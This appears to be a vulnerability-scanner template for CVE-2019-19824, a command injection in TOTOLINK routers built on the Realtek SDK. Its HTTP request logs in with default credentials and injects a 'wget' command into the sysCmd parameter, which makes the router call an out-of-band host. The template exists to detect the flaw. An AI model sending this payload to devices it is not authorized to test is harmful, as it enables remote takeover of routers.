id: CVE-2019-19824

info:
  name: TOTOLINK Realtek SD Routers - Remote Command Injection
  author: gy741
  severity: high
  description: |
    TOTOLINK Realtek SDK based routers may allow an authenticated attacker to execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not available. This allows for full control over the device's internals. This affects A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, and N100RE through 3.4.0.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the vulnerability.
  reference:
    - https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html
    - https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19824
    - https://sploit.tech
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-19824
    cwe-id: CWE-78
    epss-score: 0.89527
    epss-percentile: 0.99567
    cpe: cpe:2.3:o:totolink:a3002ru_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: totolink
    product: a3002ru_firmware
  tags: cve,cve2019,totolink,rce,router,vkev,vuln

http:
  - raw:
      - |
        POST /boafrm/formSysCmd HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46cGFzc3dvcmQ=
        Content-Type: application/x-www-form-urlencoded

        submit-url=%2Fsyscmd.htm&sysCmdselect=5&sysCmdselects=0&save_apply=Run+Command&sysCmd=wget+http://{{interactsh-url}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4b0a00483046022100cb9d38c24b2b1693fa574e929d165e8667ee74349d0cf4f7429c354999147ea3022100c8ab51a81c1cc766a510537193589ca04afbd45ccfa7d3f8f16fd0a31dfbb7a5:922c64590222798bb761d5b6d8e72950